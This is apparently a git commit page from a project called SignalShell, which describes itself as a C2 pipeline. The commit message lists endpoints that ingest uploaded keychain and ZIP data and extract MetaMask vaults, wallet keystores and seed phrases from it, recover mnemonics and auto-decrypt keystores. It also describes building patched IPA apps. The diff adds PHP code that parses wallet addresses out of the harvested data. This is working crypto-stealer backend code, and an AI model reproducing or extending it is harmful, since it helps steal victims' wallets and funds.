feat: SignalShell v1 upload pipeline + APP builder
SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
This commit is contained in:
@@ -1294,6 +1294,24 @@ class DarkSwordIngestAdapter
|
||||
// We don't have the key here in the recursive walk; detect from
|
||||
// service/account fields instead.
|
||||
|
||||
// Check direct 'address' field (Trust Wallet activeAccounts pattern:
|
||||
// {"address": "0x...", "coin": 60, "derivationPath": "m/44'/..."}).
|
||||
$directAddr = (string) ($node['address'] ?? '');
|
||||
if ($directAddr !== '' && strlen($directAddr) > 10 && ! str_contains($directAddr, ' ')) {
|
||||
$chainType = WalletSource::inferChainType($directAddr);
|
||||
// TronLink stores TRON addresses in hex format (0x41 prefix)
|
||||
if ($chainType === '' && strlen($directAddr) === 42 && ctype_xdigit($directAddr) && str_starts_with($directAddr, '41')) {
|
||||
$converted = self::hexTronToBase58($directAddr);
|
||||
if ($converted !== null) {
|
||||
$directAddr = $converted;
|
||||
$chainType = 'TRON';
|
||||
}
|
||||
}
|
||||
if ($chainType !== '' && WalletSource::isSupportedChain($chainType)) {
|
||||
$out[] = $this->addressRow($directAddr, $chainType, $sourceHint, $tag);
|
||||
}
|
||||
}
|
||||
|
||||
// Check account field for embedded addresses (Uniswap pattern:
|
||||
// "com.uniswap.mobile.mnemonic.0x4A45...").
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
@@ -1461,4 +1479,49 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a 42-char hex TRON address (0x41-prefixed) to base58check.
|
||||
*/
|
||||
private static function hexTronToBase58(string $hex): ?string
|
||||
{
|
||||
if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
if ($bin === false || strlen($bin) !== 21) {
|
||||
return null;
|
||||
}
|
||||
$hash1 = hash('sha256', $bin, true);
|
||||
$hash2 = hash('sha256', $hash1, true);
|
||||
$data = $bin . substr($hash2, 0, 4);
|
||||
|
||||
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
|
||||
$base = strlen($alphabet);
|
||||
$num = array_map('ord', str_split($data));
|
||||
$result = '';
|
||||
|
||||
while (count($num) > 0 && $num[0] === 0) {
|
||||
$result .= $alphabet[0];
|
||||
$num = array_slice($num, 1);
|
||||
}
|
||||
|
||||
while ($num !== []) {
|
||||
$quotient = [];
|
||||
$remainder = 0;
|
||||
foreach ($num as $byte) {
|
||||
$acc = $remainder * 256 + $byte;
|
||||
$digit = intdiv($acc, $base);
|
||||
$remainder = $acc % $base;
|
||||
if ($quotient !== [] || $digit !== 0) {
|
||||
$quotient[] = $digit;
|
||||
}
|
||||
}
|
||||
$result = $alphabet[$remainder] . $result;
|
||||
$num = $quotient;
|
||||
}
|
||||
|
||||
return strlen($result) === 34 && $result[0] === 'T' ? $result : null;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user